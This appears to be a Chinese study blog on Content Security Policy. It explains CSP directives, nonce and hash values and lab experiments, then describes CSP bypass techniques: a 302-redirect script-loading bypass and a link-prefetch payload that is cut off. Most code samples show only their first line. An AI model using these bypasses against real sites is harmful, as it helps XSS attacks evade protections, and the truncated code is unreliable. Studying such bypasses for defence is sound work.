内容安全策略(CSP)学习笔记
CSP基础知识
简介
内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
开启CSP的两种方法
一种是通过 HTTP 头信息的
Content-Security-Policy
的字段1
header("Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/");
另一种是通过网页的
<meta>
标签。1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
- 脚本:只信任当前域名
<object>
标签:不信任任何URL,即不加载任何资源- 样式表:只信任
cdn.example.org
和third-party.org
- 框架(frame):必须使用HTTPS协议加载
- 其他资源:没有限制
启用后,不符合 CSP 的外部资源就会被阻止加载。
限制选项
资源加载限制
- script-src:外部脚本
- style-src:样式表
- img-src:图像
- media-src:媒体文件(音频和视频)
- font-src:字体文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部资源(比如frame、iframe、embed和applet)
- connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
- worker-src:
worker
脚本 - manifest-src:manifest 文件
default-src
default-src
用来设置上面各个选项的默认值。
1 | Content-Security-Policy: default-src 'self' |
上面代码限制所有的外部资源,都只能从当前域名加载。
如果同时设置某个单项限制(比如font-src
)和default-src
,前者会覆盖后者,即字体文件会采用font-src
的值,其他资源依然采用default-src
的值。
URL限制
有时,网页会跟其他 URL 发生联系,这时也可以加以限制。
- frame-ancestors:限制嵌入框架的网页
- base-uri:限制
<base#href>
- form-action:限制
<form#action>
其他限制
其他一些安全相关的功能,也放在了 CSP 里面。
- block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
- upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
- plugin-types:限制可以使用的插件格式
- sandbox:浏览器行为的限制,比如不能有弹出窗口等。
report-uri
有时,我们不仅希望防止 XSS,还希望记录此类行为。report-uri
就用来告诉浏览器,应该把注入行为报告给哪个网址。
1 | Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; |
上面代码指定,将注入行为报告给/my_amazing_csp_report_parser
这个 URL。
浏览器会使用POST
方法,发送一个JSON对象。
选项值
每个限制选项可以设置以下几种值,这些值就构成了白名单。
- 主机名:
example.org
,https://example.com:443
- 路径名:
example.org/resources/js/
- 通配符:
*.example.org
,*://*.example.com:*
(表示任意协议、任意子域名、任意端口)- 协议名:
https:
、data:
- 关键字
'self'
:当前域名,需要加引号- 关键字
'none'
:禁止加载任何外部资源,需要加引号
多个值也可以并列,用空格分隔。
1 | Content-Security-Policy: script-src 'self' https://apis.google.com |
如果同一个限制选项使用多次,只有第一次会生效。
如果不设置某个限制选项,就是默认允许任何值。
script-src的特殊值
除了常规值,script-src
还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。
- ‘unsafe-inline’:允许执行页面内嵌的
<script>
标签和事件监听函数- ‘unsafe-eval‘:允许将字符串当作代码执行,比如使用
eval
、setTimeout
、setInterval
和Function
等函数。- nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
- hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
nonce值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的token。
1 | Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa' |
页面内嵌脚本,必须有这个token才能执行。
1 | <script nonce=EDNnf03nceIOfn39fn3e9h3sdfa> |
hash值的例子如下,服务器给出一个允许执行的代码的hash值。
1 | Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng=' |
下面的代码就会允许执行,因为hash值相符。
1 | <script>alert('Hello, world.');</script> |
注意,计算hash值的时候,script标签不算在内。
除了script-src
选项,nonce值和hash值还可以用在style-src
选项,控制页面内嵌的样式表。
注意点
(1)script-src
和object-src
是必设的,除非设置了default-src
。
因为攻击者只要能注入脚本,其他限制都可以规避。而object-src
必设是因为 Flash 里面可以执行外部脚本。
(2)script-src
不能使用unsafe-inline
关键字(除非伴随一个nonce值),也不能允许设置data:
URL。
(3)必须特别注意 JSONP 的回调函数。
CSP实验
实验1 CSP测试
实验代码解析
index.html
1 | <html> |
localhost.js
1 | document.write("<h1>This is a local js.</h1>"); |
从上面的HTML文件可以看到 ,我们利用meta
标签对页面进行开启csp
。
1 | <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.bootcss.com; child-src https:"> |
- 脚本:只信任当前域名
<object>
标签:不信任任何URL,即不加载任何资源- 样式表:只信任
cdn.bootcss.com
- 框架(frame):必须使用HTTPS协议加载
- 其他资源:没有限制
可以看到我在代码中引入以下内容
引用外部和当前域的js
1
2<script src="//cdn.bootcss.com/jquery/3.0.0/jquery.min.js"></script>
<script src="/localhost.js"></script>引用外部的样式
1
<link rel="stylesheet" href="//cdn.bootcss.com/weui/0.4.0/style/weui.min.css"/>
HTTPS协议和HTTP协议的frame
1
2<iframe src="http://app.uknowsec.cn" width="200" height="200"></iframe>
<iframe src="https://uknowsec.cn" width="200" height="200"></iframe>其他图片资源
1
<img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/QQ%E5%9B%BE%E7%89%8720180413234055.png" height="300" width="300">
实验运行结果
由实验截图可以看到
外部的资源引用失败,控制台给出了报错信息
- HTTP协议的frame加载失败,控制台给出了报错信息
- 其他可以加载的img资源和本地的js脚本都加载成功
实验2 report-uri测试
尽管report-to
指令旨在取代已弃用的report-uri
指令, report-uri
已经从Web标准中删除,但在大多数浏览器中仍不受支持。因此,可以同时指定report-to
和report-uri
。
在支持的浏览器中report-to
,report-uri
指令将被忽略。
实验代码解析
1 | <?php |
在代码中我们利用的策略是限制外部非cdn.example.com
域名下的样式表,并把报告发送到/csp_report
目录。
我们在代码引用cdn.bootcss.com/weui/0.4.0/style/weui.min.css
查看实验结果。
由上图可以看到发送出了JSON格式的POST数据。
实验3 script-src特殊值测试
unsafe-inline
当script-src
设置为unsafe-inline
时允许内联脚本和内联事件处理程序。
内联脚本和内联事件处理程序就是在html中利用<script>
标签加入的JS代码。
1 | <?php |
在上面的代码中,我们引入了一个内联的js脚本和一个外置的js脚本,运行代码结果如下。
内联的js脚本是可以执行的,但是外置的js脚本被警报了。
unsafe-eval
1 | <?php |
这里我们将script-src
值设置为unsafe-eval
,这里还要开启内置事件的开关unsafe-inline
才能执行内置事件。
执行结果是可以看到利用eval
函数将字符串当作代码执行了。
nonce值
1 | <?php |
在上诉代码中,header
头设置了script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
这里的nonce
值对相应的
script
进行判断,如果script
的nonce
值与之相同,就可以执行相应的Js脚本。
CSP的绕过
302 Bypass CSP
1 | <?php |
如上代码:
CSP允许http://127.0.0.1/
和http://xss.cc/the_only_allow_dir/
这两个域的script
引用。
这里的场景需要一个可以302跳转的文件,只要是在域内允许的都可以。这里我们在本地域内创建一个test.php文件。
1 | <?php |
这样我们就有一个302跳转的文件。
在代码中还允许了http://xss.cc/the_only_allow_dir/ 这个域,然后我们在
1 | http://xss.cc/myjs/a.js |
写入js
1 | alert('uknow') |
这里我们测试就能成功了。
CSP拦截情况
- 302跳转页面不在允许域内,比如
302.php
放在了站的根目录下,允许了http://127.0.0.1/test/
这样是会被拦截的。 - 删除策略中的
http://xss.cc/the_only_allow_dir/
,用302跳转到外域即<script src="/test.php?u=//xss.cc/myjs/a.js">
这样也是会拦截的。 - 既然外域被允许了,那直接引用外域即
<script src="//xss.cc/myjs/a.js">
这样也是会被拦截的。
总结
从以上的实验来看这个绕过是需要一定条件的,如下:
script-uri
本地域内需要有一个302跳转页面可以利用,这种页面大多存在于登陆,退出登录。script-uri
的外域内可以构造一个恶意的evil.js
。如果外域有一个文件上传漏洞,或者引用的CDN存在一个恶意的evil.js
。
link Bypass unsafe line
在 HTML5 中的一个新特性:页面资源预加载,他是浏览器提供的一个技巧,目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。
经测试在chrome
和firefox
中prefetch
和prerender
预加载一个页面这两种方法已经被拦截了。
payload如下:
1 | var n0t = document.createElement("link"); |